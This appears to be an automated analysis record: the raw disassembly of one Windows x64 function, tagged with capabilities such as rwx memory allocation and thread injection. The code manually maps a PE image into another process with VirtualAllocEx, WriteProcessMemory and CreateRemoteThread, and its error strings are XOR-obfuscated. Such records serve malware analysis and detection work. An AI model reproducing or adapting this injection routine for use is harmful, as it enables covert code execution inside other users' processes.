Function at 0x1404880e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x110
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov r12, qword [0x14048c718]
mov eax, 0x8664
mov rdi, rcx
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp word [rsi + 4], ax
je 0x14048825c
movabs rcx, 0x87929bda3183b216
movabs rdx, 0x9a7cad6fa91af469
movabs rax, 0x9a7cad1dc668862c
movabs r8, 0x95a76b4c94255b98
mov qword [rbp], rax
xor r9d, r9d
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0xba18c403c86c9a20
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xe4f7efb359e0c077
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x73c7e531120ff067
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x73c7e531777d8513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r8
lea r8, [rbp + 0x10]
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r12
call fcn.140488c28
xor al, al
jmp 0x1404889b3
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14048843f
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14048843f
movabs rcx, 0x87929bda3183b216
movabs rdx, 0x9a7cad6fa91af469
movabs rax, 0x9a7cad1dc668862c
movabs r9, 0x6ebcbae64ed8783a
mov qword [rbp], rax
movabs r8, 0x95a76b4c94255b98
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0xf61dc31dcc6e8c2c
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xa7ebe9b55ce6df36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x1ab384521811e972
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xf0cb022df20535f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xbb32fa9ba7be5829
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x73c7e531777d8513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r8
lea r8, [rbp + 0x10]
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xbb32fa9ba7be584d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r9
xor r9d, r9d
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x88], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmmword [rbp + 0x40], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r12
call fcn.140488c28
xor al, al
jmp 0x1404889b3
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r13d, r13d
movzx ebx, word [rsi + 0x14]
mov r15d, r13d
mov qword [rbp + 0x20], rax
add rbx, 0x2c
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r13
cmp word [rsi + 6], r13w
je 0x1404884ad
add rbx, rsi
mov eax, dword [rbx - 4]
test eax, eax
je 0x14048849d
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r14
mov qword [rsp + 0x20], r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140488697
movzx eax, word [rsi + 6]
inc r15d
add rbx, 0x28
cmp r15d, eax
jne 0x140488471
movups xmm0, xmmword [rbp + 0x20]
mov r9d, 0x1000
mov r8, r12
movsd xmm1, qword [rbp + 0x30]
mov rdx, r14
movups xmmword [r12], xmm0
mov rcx, rdi
mov qword [rsp + 0x20], r13
movsd qword [r12 + 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r12
call fcn.140488c28
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1404887ce
movabs rcx, 0x87929bda3183b216
movabs rdx, 0x9a7cad6fa91af469
movabs rax, 0x9a7cad1dc668862c
movabs r9, 0x6ebcbae64ed8783a
mov qword [rbp], rax
movabs r8, 0x95a76b4c94255b98
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0xf61dc31dcc6e8c2c
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xa7ebe9b55ce6df36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x1ab384521811e972
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xf0cb022df20535f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xbb32fa9ba7be5829
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x73c7e531777d8513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r8
lea r8, [rbp + 0x10]
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xbb32fa9ba7be584d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r9
xor r9d, r9d
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x88], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmmword [rbp + 0x40], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1404887b2
movabs rcx, 0x87929bda3183b216
movabs rdx, 0x9a7cad6fa91af469
movabs rax, 0x9a7cad1dc668862c
movabs r8, 0x95a76b4c94255b98
mov qword [rbp], rax
xor r9d, r9d
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0xee5cc90ac573952f
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xe2e1bbaa50ee9279
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x73c7e55f1814f170
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x73c7e531777d8513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r8
lea r8, [rbp + 0x10]
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r12
call fcn.140488c28
mov rdx, r14
xor r8d, r8d
mov r9d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1404889b3
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
lea r8, [0x1404889f0]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov r9, rsi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14048894f
movabs rcx, 0x87929bda3183b216
movabs rdx, 0x9a7cad6fa91af469
movabs rax, 0x9a7cad1dc668862c
movabs r8, 0x95a76b4c94255b98
mov qword [rbp], rax
xor r9d, r9d
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rax
movabs rax, 0xf61dc31dcc6e8c2c
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xa7f6fabf43ebc636
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x1da88c451618f770
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x95c30e20fd443db8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x73c7e531777d8513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r8
lea r8, [rbp + 0x10]
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x1404887b5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x20], r13
xor eax, eax
lea r8, [rbp + 0x20]
mov r9d, 0x18
mov qword [rbp + 0x30], rax
mov rdx, r14
mov rcx, rdi
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x30]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140488960
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140488c00
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret